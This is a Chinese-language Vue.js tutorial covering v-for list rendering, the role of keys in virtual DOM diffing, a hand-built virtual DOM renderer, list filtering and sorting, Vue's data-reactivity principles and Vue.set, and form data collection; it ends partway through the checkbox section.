vue基础知识和原理(二)

1.13 列表渲染

v-for指令

  • 用于展示列表数据

  • 语法:v-for="(item, index) in xxx" :key="yyy"

  • 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)

<div id="root">
    <!--
            v-for指令:
                        1.用于展示列表数据
                        2.语法:v-for="(item, index) in xxx" :key="yyy"
                        3.可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
    -->
    <h2>人员列表</h2>
    <ul>
        <!--遍历数组-->
        <!--循环列表的方法 类似与for in循环遍历-->
        <!--:代表v-bind 属性key让每一个li有了唯一的标识,key一定不要重复-->
        <!--v-for(for in// for of)可以接受到两个参数,一个是当前的元素另一个是当前元素的索引 类似于下面的person,index-->
        <li v-for='(person, index) in persons' :key="index">
            <!--p可能来自形参,也可能来自于写在data里的属性,更可能来自于计算属性 computed-->
            {{person.name}} - {{ person.age }}
        </li>
    </ul>
    <!--遍历对象-->
    <h2>汽车信息</h2>
    <!--注意遍历对象的时候先收到的是每一项的属性的value,第二项是对应的键名:key-->
    <ul v-for="(val, key) of car" :key="key">
         <li>{{ key }} -- {{ val }}</li>
    </ul>
    <!--遍历字符串 用的不多-->
    <h2>测试遍历字符串</h2>
    <!--注意遍历字符串的时候先收到的是字符串中每一个字符,第二项是其对应的索引index-->
    <ul v-for="(c, index) of str" :key="index">
        <li>{{ index }} -- {{ c }}</li>
    </ul>
    <!--遍历指定次数-->
    <h2>遍历指定次数</h2>
    <!--注意遍历指定次数的时候先收到的是number(例如5,则number是1,2,3,4,5),第二项是对应index(从0开始计数,则是0,1,2,3,4)-->
    <ul v-for="(num, index) in 5" :key="index">
        <li>{{ index }} -- {{ num }}</li>
    </ul>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data: {
            //数组
            persons: [
                {id: '001', name: '张三', age: 18},
                {id: '002', name: '李四', age: 19},
                {id: '003', name: '王五', age: 20}
            ],
            car: {
                name: '奥迪a8',
                price: '70w',
                color: '黑色'
            },
            str: 'hello'
        }
    })
</script>

key的原理

vue中的key有什么作用?(key的内部原理)

了解vue中key的原理需要一些前置知识。

就是vue的虚拟dom,vue会根据 data中的数据生成虚拟dom,如果是第一次生成页面,就将虚拟dom转成真实dom,在页面展示出来。

虚拟dom有啥用?

每次vm._data 中的数据更改,都会触发生成新的虚拟dom,新的虚拟dom会跟旧的虚拟dom进行比较,如果有相同的,在生成真实dom时,

这部分相同的就不需要重新生成,只需要将两者之间不同的dom转换成真实dom,再与原来的真实dom进行拼接。

我的理解是虚拟dom就是起到了一个dom复用的作用,还有避免重复多余的操作,下文有详细解释。

 

而key有啥用?

key是虚拟dom的标识。

 

先来点预备的知识:啥是真实 DOM?真实 DOM 和 虚拟 DOM 有啥区别?如何用代码展现真实 DOM 和 虚拟 DOM

真实DOM和其解析流程

这里参考超级英雄大佬:https://juejin.cn/post/6844903895467032589

webkit 渲染引擎工作流程图

中文版

所有的浏览器渲染引擎工作流程大致分为5步:创建 DOM 树 —> 创建 Style Rules -> 构建 Render 树 —> 布局 Layout -—> 绘制 Painting

  • 第一步,构建 DOM 树:当浏览器接收到来自服务器响应的HTML文档后,会遍历文档节点,生成DOM树。需要注意的是在DOM树生成的过程中有可能会被CSS和JS的加载执行阻塞,渲染阻塞下面会讲到。

  • 第二步,生成样式表:用 CSS 分析器,分析 CSS 文件和元素上的 inline 样式,生成页面的样式表;

  • 渲染阻塞:当浏览器遇到一个script标签时,DOM构建将暂停,直到脚本加载执行,然后继续构建DOM树。每次去执行Javascript脚本都会严重阻塞DOM树构建,如果JavaScript脚本还操作了CSSOM,而正好这个CSSOM没有下载和构建,那么浏览器甚至会延迟脚本执行和构建DOM,直到这个CSSOM的下载和构建。所以,script标签引入很重要,实际使用时可以遵循下面两个原则:

    • css优先:引入顺序上,css资源先于js资源

    • js后置:js代码放在底部,且js应尽量少影响DOM构建

      还有一个小知识:当解析html时,会把新来的元素插入dom树里,同时去查找css,然后把对应的样式规则应用到元素上,查找样式表是按照从右到左的顺序匹配的例如:div p {...},会先寻找所有p标签并判断它的父标签是否为div之后才决定要不要采用这个样式渲染。所以平时写css尽量用class或者id,不要过度层叠

  • 第三步,构建渲染树:通过DOM树和CSS规则我们可以构建渲染树。浏览器会从DOM树根节点开始遍历每个可见节点(注意是可见节点)对每个可见节点,找到其适配的CSS规则并应用。渲染树构建完后,每个节点都是可见节点并且都含有其内容和对应的规则的样式。这也是渲染树和DOM树最大的区别所在。渲染是用于显示,那些不可见的元素就不会在这棵树出现了。除此以外,display none的元素也不会被显示在这棵树里。visibility hidden的元素会出现在这棵树里。

  • 第四步,渲染布局:布局阶段会从渲染树的根节点开始遍历,然后确定每个节点对象在页面上的确切大小与位置,布局阶段的输出是一个盒子模型,它会精确地捕获每个元素在屏幕内的确切位置与大小。

  • 第五步,渲染树绘制:在绘制阶段,遍历渲染树,调用渲染器的paint()方法在屏幕上显示其内容。渲染树的绘制工作是由浏览器的UI后端组件完成的。

注意点:

1、DOM 树的构建是文档加载完成开始的? 构建 DOM 树是一个渐进过程,为达到更好的用户体验,渲染引擎会尽快将内容显示在屏幕上,它不必等到整个 HTML 文档解析完成之后才开始构建 render 树和布局。

2、Render 树是 DOM 树和 CSS 样式表构建完毕后才开始构建的? 这三个过程在实际进行的时候并不是完全独立的,而是会有交叉,会一边加载,一边解析,以及一边渲染。

3、CSS 的解析注意点? CSS 的解析是从右往左逆向解析的,嵌套标签越多,解析越慢。

4、JS 操作真实 DOM 的代价?传统DOM结构操作方式对性能的影响很大,原因是频繁操作DOM结构操作会引起页面的重排(reflow)和重绘(repaint),浏览器不得不频繁地计算布局,重新排列和绘制页面元素,导致浏览器产生巨大的性能开销。直接操作真实DOM的性能特别差,我们可以来演示一遍。

<div id="app"></div>
<script>
    // 获取 DIV 元素
    let box = document.querySelector('#app');
    console.log(box);

    // 真实 DOM 操作
    console.time('a');
    for (let i = 0; i <= 10000; i++) {
        box.innerHTML = i;
    }
    console.timeEnd('a');

    // 虚拟 DOM 操作
    let num = 0;
    console.time('b');
    for (let i = 0; i <= 10000; i++) {
        num = i;
    }
    box.innerHTML = num;
    console.timeEnd('b');

</script>

从结果中可以看出,操作真实 DOM 的性能是非常差的,所以我们要尽可能的复用,减少 DOM 操作。

虚拟 DOM 的好处

虚拟 DOM 就是为了解决浏览器性能问题而被设计出来的。如前,若一次操作中有 10 次更新 DOM 的动作,虚拟 DOM 不会立即操作 DOM,而是将这 10 次更新的 diff 内容保存到本地一个 JS 对象中,最终将这个 JS 对象一次性 attchDOM 树上,再进行后续操作,避免大量无谓的计算量。所以,用 JS 对象模拟 DOM 节点的好处是,页面的更新可以先全部反映在 JS 对象(虚拟 DOM )上,操作内存中的 JS 对象的速度显然要更快,等更新完成后,再将最终的 JS 对象映射成真实的 DOM,交由浏览器去绘制。

虽然这一个虚拟 DOM 带来的一个优势,但并不是全部。虚拟 DOM 最大的优势在于抽象了原本的渲染过程,实现了跨平台的能力,而不仅仅局限于浏览器的 DOM,可以是安卓和 IOS 的原生组件,可以是近期很火热的小程序,也可以是各种GUI。

回到最开始的问题,虚拟 DOM 到底是什么,说简单点,就是一个普通的 JavaScript 对象,包含了 tagpropschildren 三个属性。

接下来我们手动实现下 虚拟 DOM。

分两种实现方式:

一种原生 js DOM 操作实现;

另一种主流虚拟 DOM 库(snabbdom、virtual-dom)的实现(用h函数渲染)(暂时还不理解)

算法实现

(1)用 JS 对象模拟 DOM 树:

<div id="virtual-dom">
    <p>Virtual DOM</p>
    <ul id="list">
      <li class="item">Item 1</li>
      <li class="item">Item 2</li>
      <li class="item">Item 3</li>
    </ul>
    <div>Hello World</div>
</div> 

我们用 JavaScript 对象来表示 DOM 节点,使用对象的属性记录节点的类型、属性、子节点等。

/**
 * Element virdual-dom 对象定义
 * @param {String} tagName - dom 元素名称
 * @param {Object} props - dom 属性
 * @param {Array<Element|String>} - 子节点
 */
function Element(tagName, props, children) {
    this.tagName = tagName;
    this.props = props;
    this.children = children;
    // dom 元素的 key 值,用作唯一标识符
    if (props.key) {
        this.key = props.key
    }
}
function el(tagName, props, children) {
    return new Element(tagName, props, children);
}

构建虚拟的 DOM ,用 javascript 对象来表示

let ul = el('div', { id: 'Virtual DOM' }, [
    el('p', {}, ['Virtual DOM']),
    el('ul', { id: 'list' }, [
        el('li', { class: 'item' }, ['Item 1']),
        el('li', { class: 'item' }, ['Item 2']),
        el('li', { class: 'item' }, ['Item 3'])
    ]),
    el('div', {}, ['Hello, World'])
])

现在 ul 就是我们用 JavaScript 对象表示的 DOM 结构,我们输出查看 ul 对应的数据结构如下:

(2)将用 js 对象表示的虚拟 DOM 转换成真实 DOM:需要用到 js 原生操作 DOM 的方法。

/**
 * render 将virdual-dom 对象渲染为实际 DOM 元素
 */
Element.prototype.render = function () {
    // 创建节点
    let el = document.createElement(this.tagName);

    let props = this.props;
    // 设置节点的 DOM 属性
    for (let propName in props) {
        let propValue = props[propName];
        el.setAttribute(propName, propValue)
    }

    let children = this.children || []
    for (let child of children) {
        let childEl = (child instanceof Element)
        ? child.render() // 如果子节点也是虚拟 DOM, 递归构建 DOM 节点
        : document.createTextNode(child) // 如果是文本,就构建文本节点

        el.appendChild(childEl);
    }

    return el;
}

我们通过查看以上 render 方法,会根据 tagName 构建一个真正的 DOM 节点,然后设置这个节点的属性,最后递归地把自己的子节点也构建起来。

我们将构建好的 DOM 结构添加到页面 body 上面,如下:

let ulRoot = ul.render();
document.body.appendChild(ulRoot);

这样,页面 body 里面就有真正的 DOM 结构,效果如下图所示:

 

<script>
    /**
         * Element virdual-dom 对象定义
         * @param {String} tagName - dom 元素名称
         * @param {Object} props - dom 属性
         * @param {Array<Element|String>} - 子节点
         */
    function Element(tagName, props, children) {
        this.tagName = tagName;
        this.props = props;
        this.children = children;
        // dom 元素的 key 值,用作唯一标识符
        if (props.key) {
            this.key = props.key
        }
    }

    function el(tagName, props, children) {
        return new Element(tagName, props, children);
    }

    let ul = el('div', { id: 'Virtual DOM' }, [
        el('p', {}, ['Virtual DOM']),
        el('ul', { id: 'list' }, [
            el('li', { class: 'item' }, ['Item 1']),
            el('li', { class: 'item' }, ['Item 2']),
            el('li', { class: 'item' }, ['Item 3'])
        ]),
        el('div', {}, ['Hello, World'])
    ])

    /**
             * render 将virdual-dom 对象渲染为实际 DOM 元素
             */
    Element.prototype.render = function () {
        // 创建节点
        let el = document.createElement(this.tagName);

        let props = this.props;
        // 设置节点的 DOM 属性
        for (let propName in props) {
            let propValue = props[propName];
            el.setAttribute(propName, propValue)
        }

        let children = this.children || []
        for (let child of children) {
            let childEl = (child instanceof Element)
            ? child.render() // 如果子节点也是虚拟 DOM, 递归构建 DOM 节点
            : document.createTextNode(child) // 如果是文本,就构建文本节点

            el.appendChild(childEl);
        }

        return el;
    }

    let ulRoot = ul.render();
    document.body.appendChild(ulRoot);
    console.log(ul);
</script>

 

虚拟DOM中key的作用

 

key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下(diff算法):

  • 旧虚拟DOM中找到了与新虚拟DOM相同的key:

    • ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!

    • ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

  • 旧虚拟DOM中未找到与新虚拟DOM相同的key

    • 创建新的真实DOM,随后渲染到到页面。

 

好了,我们知道了最简单的key的原理,如果要继续研究下去就要涉及到vue的核心之一-Diff算法,后面会详细介绍。

 

用index作为key可能会引发的问题:

若对数据进行:逆序添加、逆序删除等破坏顺序操作:

会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

 

案例

 

<div id="root">
    <!--
                面试题:react、vue中的key有什么作用?(key的内部原理)

                        1. 虚拟DOM中key的作用:
                                        key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】,
                                        随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:

                        2.对比规则:
                                    (1).旧虚拟DOM中找到了与新虚拟DOM相同的key:
                                                ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
                                                ②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。

                                    (2).旧虚拟DOM中未找到与新虚拟DOM相同的key
                                                创建新的真实DOM,随后渲染到到页面。

                        3. 用index作为key可能会引发的问题:
                                            1. 若对数据进行:逆序添加、逆序删除等破坏顺序操作:
                                                            会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低。

                                            2. 如果结构中还包含输入类的DOM:
                                                            会产生错误DOM更新 ==> 界面有问题。

                        4. 开发中如何选择key?:
                                            1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
                                            2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,
                                                使用index作为key是没有问题的。
        -->
    <h2>人员列表</h2>
    <button @click.once="add">添加一个老刘</button>
    <ul>
        <!--key唯一标识: 身份证,属性key是被vue给征用的,并不反应在真实dom上-->
        <li v-for='(person, index) in persons' :key="person.id">
            {{person.name}} - {{ person.age }}
            <!--为了看到key值的不正确滥用所导致的问题,我们添加一个input框-->
            <input type="text" />
        </li>
    </ul>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    new Vue({
        el: '#root',
        data: {
            //数组
            persons: [
                {id: '001', name: '张三', age: 18},
                {id: '002', name: '李四', age: 19},
                {id: '003', name: '王五', age: 20}
            ],
        },
        methods:{
            add(){
                //往数组的头添加元素
                this.persons.unshift({
                    id:'004',
                    name:'老刘',
                    age: 40
                })
            }
        }
    })
</script>

解释:

初始数据

persons: [ { id: '001', name: '张三', age: 18 },

  { id: '002', name: '李四', age: 19 },

  { id: '003', name: '王五', age: 20 }

]

vue根据数据生成虚拟 DOM

初始虚拟 DOM

<li key='0'>张三-18<input type="text"></li>
<li key='1'>李四-19<input type="text"></li>
<li key='2'>王五-20<input type="text"></li>

将虚拟 DOM 转为 真实 DOM

`this.persons.unshift({ id: '004', name: '老刘', age: 40 })`

在 persons 数组最前面添加上 { id: '004', name: '老刘', age: 40 }

新数据:

persons: [

{ id: '004', name: '老刘', age: 40 },

{ id: '001', name: '张三', age: 18 },

{ id: '002', name: '李四', age: 19 },

{ id: '003', name: '王五', age: 20 }

]

vue根据数据生成虚拟 DOM

新虚拟 DOM

<li key='0'>老刘-30<input type="text"></li>
<li key='1'>张三-18<input type="text"></li>
<li key='3'>李四-19<input type="text"></li>
<li key='4'>王五-20<input type="text"></li>

将虚拟 DOM 转为 真实 DOM

因为老刘被插到第一个,重刷了 key 的值,vue Diff 算法 根据 key 的值 判断 虚拟DOM 全部发生了改变,然后全部重新生成新的 真实 DOM。实际上,张三,李四,王五并没有发生更改,是可以直接复用之前的真实 DOM,而因为 key 的错乱,导致要全部重新生成,造成了性能的浪费。

来张尚硅谷的图

如果结构中还包含输入类的DOM:

会产生错误DOM更新 ==> 界面有问题。

这回造成的就不是性能浪费了,会直接导致页面的错误

结论:

  • 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值

  • 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的

 

来张尚硅谷的图,正经使用 key

列表过滤

<body>
    <div id="root">
        <h2>人员列表</h2>
        <!--v-model双向绑定-->
        <input type="text" placeholder="请输入名字" v-model="keyword" />
        <ul v-for="p in filPersons" :key="p.id">
            <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
        </ul>
    </div>
    <script type="text/javascript">
        //用监视属性书写功能
        // new Vue({
        //     el: '#root',
        //     data: {
        //         keyword: '',
        //         persons: [
        //             { id: "001", name: '周冬雨', age: 20, sex: '女' },
        //             { id: "002", name: '马冬梅', age: 19, sex: '女' },
        //             { id: "003", name: '周杰伦', age: 21, sex: '男' },
        //             { id: "004", name: '温兆伦', age: 22, sex: '男' },
        //         ],
        //         filPersons: []
        //     },
        //     //watch监听用户输入项keyword的变化
        //     watch: {
        //         keyword: {
        //             immediate: true, //上来就进行监视获得到的newV是'',空字符串
        //             handler(newV) {
        //                 // console.log(newV)
        //                 //不要修改元数据,这样只会越写越少
        //                 //注意一个某个字符串.indexOf('')是0而不是-1(都包含空字符串)
        //                 this.filPersons = this.persons.filter(p => p.name.indexOf(newV) !== -1);
        //             }
        //         }
        //     }
        // })
        //用计算属性书写功能

        //当computed和watch都可以实现基本功能时优先考虑computed (重要)
        new Vue({
            el: '#root',
            data: {
                keyword: '',
                persons: [
                    { id: "001", name: '周冬雨', age: 20, sex: '女' },
                    { id: "002", name: '马冬梅', age: 19, sex: '女' },
                    { id: "003", name: '周杰伦', age: 21, sex: '男' },
                    { id: "004", name: '温兆伦', age: 22, sex: '男' },
                ],
            },
            computed: {
                filPersons() {
                    // 用到了字符串的方法indexOf
                    return this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
                }
            }
        })
    </script>
</body>

列表排序

<body>
    <div id="root">
        <h2>人员列表</h2>
        <!--v-model双向绑定-->
        <input type="text" placeholder="请输入名字" v-model="keyword" />
        <button @click="sortType = 2">年龄升序</button>
        <button @click="sortType = 1">年龄降序</button>
        <button @click="sortType = 0">原顺序</button>
        <ul v-for="p in filPersons" :key="p.id">
            <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
        </ul>
    </div>
    <script type="text/javascript">
        new Vue({
            el: '#root',
            data: {
                keyword: '',
                sortType: 0, //0代表原顺序 1代表降序 2代表升序
                persons: [
                    { id: "001", name: '周冬雨', age: 20, sex: '女' },
                    { id: "002", name: '马冬梅', age: 19, sex: '女' },
                    { id: "003", name: '周杰伦', age: 21, sex: '男' },
                    { id: "004", name: '温兆伦', age: 22, sex: '男' },
                ],
            },
            computed: {
                filPersons() {
                    const arr = this.persons.filter(p => p.name.indexOf(this.keyword) !== -1);
                    //判断是否需要排序
                    if (!this.sortType) return arr;
                    //sort回调回收到前后两个数据项,a和b
                    //sort会改变的原数组,三元表达式
                    return arr.sort((p1, p2) => this.sortType === 1 ? p2.age - p1.age : p1.age - p2.age);
                }
            }
        });
    </script>
</body>

1.14 vue监测data中的数据

先来个案例引入一下:

<div id="root">
    <h2>人员列表</h2>
    <!--v-model双向绑定-->
    <button @click="updateM">更新马冬梅信息</button>
    <ul v-for="p in persons" :key="p.id">
        <li>{{p.name}}-{{ p.age }}- {{ p.sex }}</li>
    </ul>
</div>
<script type="text/javascript">
    const  vm = new Vue({
        el:'#root',
        data: {
            persons: [
                {id: "001", name:'周冬雨', age:20, sex:'女'},
                {id: "002", name:'马冬梅', age:19, sex:'女'},
                {id: "003", name:'周杰伦', age:21, sex:'男'},
                {id: "004", name:'温兆伦', age:22, sex: '男'},
            ],
        },
        methods:{
            updateM(){
                // this.persons[1].name = '马老师';  //奏效
                // this.persons[1].age = 50;      //奏效
                // this.persons[1].sex = '男'; //奏效
                // this.persons[1] = { id: '002', name: '马老师', age: 50, sex:'男' }; //这样修改vue是无法监测数据的
                this.persons.splice(1,1,{ id: '002', name: '马老师', age: 50, sex:'男' });
            }

        }
    });
</script>

点击更新马冬梅的信息,马冬梅的数据并没有发生改变。

我们来看看控制台:

控制台上的数据发生了改变,说明,这个更改的数据并没有被 vue 监测到。

所以我们来研究一下 Vue 监测的原理。

我们先研究 Vue 如何监测 对象里的数据

代码

<!-- 准备好一个容器-->
<!--
  2. 如何监测对象中的数据?
         通过setter实现监视,且要在new Vue时就传入要监测的数据。
                 (1).对象中后追加的属性,Vue默认不做响应式处理
                (2).如需给后添加的属性做响应式,请使用如下API:
                            Vue.set(target,propertyName/index,value) 或
                            vm.$set(target,propertyName/index,value)
-->
<div id="root">
    <h2>学校名称:{{name}}</h2>
    <h2>学校地址:{{address}}</h2>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

    const vm = new Vue({
        el:'#root',
        data:{
            name:'浙江师范大学',
            address:'金华',
            student:{
                name:'tom',
                age:{
                    rAge:40,
                    sAge:29,
                },
                friends:[
                    {name:'jerry',age:35}
                ]
            }
        }
    })
</script>

讲一下解析模板后面的操作---》调用 set 方法时,就会去解析模板----->生成新的虚拟 DOM----->新旧DOM 对比 -----> 更新页面

模拟一下 vue 中的数据监测_对象

<script type="text/javascript">
    let data = {
        name: "武汉科技大学",
        address: '武汉'
    }
    //无限递归 调用栈炸了 内存溢出
    //错误写法
    // Object.defineProperty(data, 'name', {
    //     get(){
    //         return data.name
    //     },
    //     set(val){
    //         data.name = val;
    //     }
    // })

    //创建一个监视实例对象
    const obs = new Observer(data);

    //准备一个vm实例
    let vm = { };

    vm._data = data = obs;

    //观察者
    function Observer(obj){
        //缺陷:未实现递归(对象嵌套对象就会出现问题)
        const keys = Object.keys(obj);
        //遍历对象当中所有的key
        keys.forEach(key => {
            Object.defineProperty(this, key, {
                get(){
                    return obj[key]
                },
                set(v) {
                  console.log(`${key}的值改变了,变为${v}`);
                  obj[key] = v;
                }
            })
        });
    }

Vue.set 的使用

Vue.set(target,propertyName/index,value) 或

vm.$set(target,propertyName/index,value)

用法

向响应式对象中添加一个 property,并确保这个新 property 同样是响应式的,且触发视图更新。它必须用于向响应式对象上添加新 property,因为 Vue 无法探测普通的新增 property (比如 vm.myObject.newProperty = 'hi')

代码

<div id="root">
    <h1>学校信息</h1>
    <h2>学校名称:{{ name }}</h2>
    <h2>学校地址:{{ address }}</h2>
    <hr/>
    <h1>学生信息</h1>
    <button @click.once="addSex">添加一个性别属性,默认值是男</button>
    <h2>学生姓名:{{ stu.name }}</h2>
    <h2>学生真实年龄:{{ stu.age.rage }}</h2>
    <h2>学生对外年龄:{{ stu.age.sage}}</h2>
    <h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2>
    <h2>朋友们</h2>
     <ul v-for="(f, index) in stu.friends" :key="index">
         <li>{{ f.name }} -- {{ f.age }}</li>
     </ul>
</div>
<script type="text/javascript">
    const vm = new Vue({
         el: '#root',
         data:{
             name: '武汉科技大学',
             address: '武汉',
             stu:{
                 name: 'tom',
                 age:{
                     rage: 12,
                     sage: 29
                 },
                 friends: [
                     { name: 'Jerry', age: 23 },
                     { name: 'Jane', age: 18 }
                 ]
             }
         },
        methods:{
            addSex(){
                //这里this === vm
                //利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性
                //注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。
                Vue.set(this.stu, 'sex', '男')
                // this.$set(this.stu, 'sex', '男');
            }
        }
     })
</script>

Vue.set() 或 vm.$set 有缺陷:

 

看完了 vue 监测对象中的数据,再来看看 vue 如何监测数组里的数据

vue监测数据改变的原理_数组

先写个代码案例

 

<body>
    <!--
           通过包裹数组更新元素的方法实现,本质就是做了两件事:
                    (1).调用原生对应的方法对数组进行更新。
                    (2).重新解析模板,进而更新页面。
           在Vue修改数组中的某个元素一定要用如下方法:
                   1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
                   2.Vue.set() 或 vm.$set()
        -->
    <div id="root">
        <h1>学校信息</h1>
        <h2>学校名称:{{ name }}</h2>
        <h2>学校地址:{{ address }}</h2>
        <hr />
        <h1>学生信息</h1>
        <button @click.once="addSex">添加一个性别属性,默认值是男</button>
        <h2>学生姓名:{{ stu.name }}</h2>
        <h2>学生真实年龄:{{ stu.age.rage }}</h2>
        <h2>学生对外年龄:{{ stu.age.sage}}</h2>
        <h2 v-if="stu.sex">学生性别: {{ stu.sex }}</h2>
        <h2>朋友们</h2>
        <ul v-for="(f, index) in stu.friends" :key="index">
            <li>{{ f.name }} -- {{ f.age }}</li>
        </ul>
        <h2>爱好</h2>
        <!--
      Vue 将被侦听的数组的变更方法进行了包裹,所以它们也将会触发视图更新。这些被包裹过的方法包括:
      push()
      pop()
      shift()
      unshift()
      splice()
      sort()
      reverse()
    -->
        <ul v-for="(h, index) in stu.hobbies" :key="index">
            <li>{{ h }}</li>
        </ul>
    </div>
    <script type="text/javascript">
        const vm = new Vue({
            el: '#root',
            data: {
                name: '武汉科技大学',
                address: '武汉',
                stu: {
                    name: 'tom',
                    age: {
                        rage: 12,
                        sage: 29
                    },
                    hobbies: ['抽烟', '喝酒', '烫头'],
                    friends: [
                        { name: 'Jerry', age: 23 },
                        { name: 'Jane', age: 18 }
                    ]
                }
            },
            methods: {
                addSex() {
                    //这里this === vm
                    //利用vue.set(或者vm.$set())api能够添加的属性变为响应式属性
                    //注意对象不能是 Vue 实例,或者 Vue 实例的根数据对象。
                    Vue.set(this.stu, 'sex', '')
                    // this.$set(this.stu, 'sex', '男');
                },
            }
        })
    </script>
</body>

所以我们通过 vm._data.student.hobby[0] = 'aaa' // 不奏效

vue 监测在数组那没有 getter 和 setter,所以监测不到数据的更改,也不会引起页面的更新

既然 vue 在对数组无法通过 getter 和 setter 进行数据监视,那 vue 到底如何监视数组数据的变化呢?

vue对数组的监测是通过 包装数组上常用的用于修改数组的方法来实现的。

vue官网的解释:

总结:

Vue监视数据的原理:

  • vue会监视data中所有层次的数据

  • 如何监测对象中的数据?

    通过setter实现监视,且要在new Vue时就传入要监测的数据。

    • 对象中后追加的属性,Vue默认不做响应式处理

    • 如需给后添加的属性做响应式,请使用如下API:

      Vue.set(target,propertyName/index,value) 或

      vm.$set(target,propertyName/index,value)

  • 如何监测数组中的数据?

    通过包裹数组更新元素的方法实现,本质就是做了两件事:

    • 调用原生对应的方法对数组进行更新

    • 重新解析模板,进而更新页面

  • 在Vue修改数组中的某个元素一定要用如下方法:

    • 使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()

    • Vue.set() 或 vm.$set()

特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!

总结vue数据监视

<body>
<div id="root">
    <!--
            Vue监视数据的原理:
                1. vue会监视data中所有层次的数据。

                2. 如何监测对象中的数据?
                        通过setter实现监视,且要在new Vue时就传入要监测的数据。
                        (1).对象中后追加的属性,Vue默认不做响应式处理
                        (2).如需给后添加的属性做响应式,请使用如下API:
                                        Vue.set(target,propertyName/index,value) 或
                                        vm.$set(target,propertyName/index,value)

                3. 如何监测数组中的数据?
                                    通过包裹数组更新元素的方法实现,本质就是做了两件事:
                                        (1).调用原生对应的方法对数组进行更新。
                                        (2).重新解析模板,进而更新页面。

                4.在Vue修改数组中的某个元素一定要用如下方法:
                            1.使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
                            2.Vue.set() 或 vm.$set()

                特别注意:Vue.set() 和 vm.$set() 不能给vm 或 vm的根数据对象 添加属性!!!
                注: 数据劫持可以理解成为vue对你写在data的数据会进行加工,让它们都变成响应式的
        -->
    <h1>学生信息</h1>
    <button @click="student.age++">年龄+1岁</button> <br/>
    <button @click="addSex">添加性别属性,默认值:男</button> <br/>
    <button @click="student.sex = '未知' ">修改性别</button> <br/>
    <button @click="addFriend">在列表首位添加一个朋友</button> <br/>
    <button @click="updateFirstFriendName">修改第一个朋友的名字为:张三</button> <br/>
    <button @click="addHobby">添加一个爱好</button> <br/>
    <button @click="updateHobby">修改第一个爱好为:开车</button> <br/>
    <button @click="removeSmoke">过滤掉爱好中的抽烟</button> <br/>
    <h3>姓名:{{student.name}}</h3>
    <h3>年龄:{{student.age}}</h3>
    <h3 v-if="student.sex">性别:{{student.sex}}</h3>
    <h3>爱好:</h3>
    <ul>
        <li v-for="(h,index) in student.hobby" :key="index">
            {{h}}
        </li>
    </ul>
    <h3>朋友们:</h3>
    <ul>
        <li v-for="(f,index) in student.friends" :key="index">
            {{f.name}}--{{f.age}}
        </li>
    </ul>

</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
       el: '#root',
       data:{
           student:{
               name:'tom',
               age:18,
               hobby:['抽烟','喝酒','烫头'],
               friends:[
                   {name:'jerry',age:35},
                   {name:'tony',age:36}
               ]
           }
       },
       methods:{
           addSex(){
               this.$set(this.student, 'sex', '');
           },
           addFriend(){
               this.student.friends.unshift({
                   name:'jack',
                   age:70,
               })
           },
           updateFirstFriendName(){
               this.student.friends[0].name = '张三'
           },
           addHobby(){
               this.student.hobby.push('学习');
           },
           updateHobby(){
               // this.student.hobby.splice(0,1,'开车');
               this.$set(this.student.hobby, 0, '开车');
           },
           removeSmoke(){
               //直接替换
               this.student.hobby = this.student.hobby.filter(h => h !== '抽烟');
           }
       }
    });
</script>
</body>

1.15 收集表单数据

若:<input type="text"/>,则v-model收集的是value值,用户输入的就是value值。

<!-- 准备好一个容器-->
<div id="root">
    <form @submit.prevent="demo">
        账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
        密码:<input type="password" v-model="userInfo.password"> <br/><br/>
        年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
        <button>提交</button>
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            userInfo:{
                account:'',
                password:'',
                age:18,
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

若:<input type="radio"/>,则v-model收集的是value值,且要给标签配置value值。

<!-- 准备好一个容器-->
<div id="root">
    <form @submit.prevent="demo">
        性别:
        男<input type="radio" name="sex" v-model="userInfo.sex" value="male"><input type="radio" name="sex" v-model="userInfo.sex" value="female">
    </form>
</div>

<script type="text/javascript">
    Vue.config.productionTip = false

    new Vue({
        el:'#root',
        data:{
            userInfo:{
                sex:'female'
            }
        },
        methods: {
            demo(){
                console.log(JSON.stringify(this.userInfo))
            }
        }
    })
</script>

若:<input type="checkbox"/>

  • 没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)

  • 配置input的value属性:

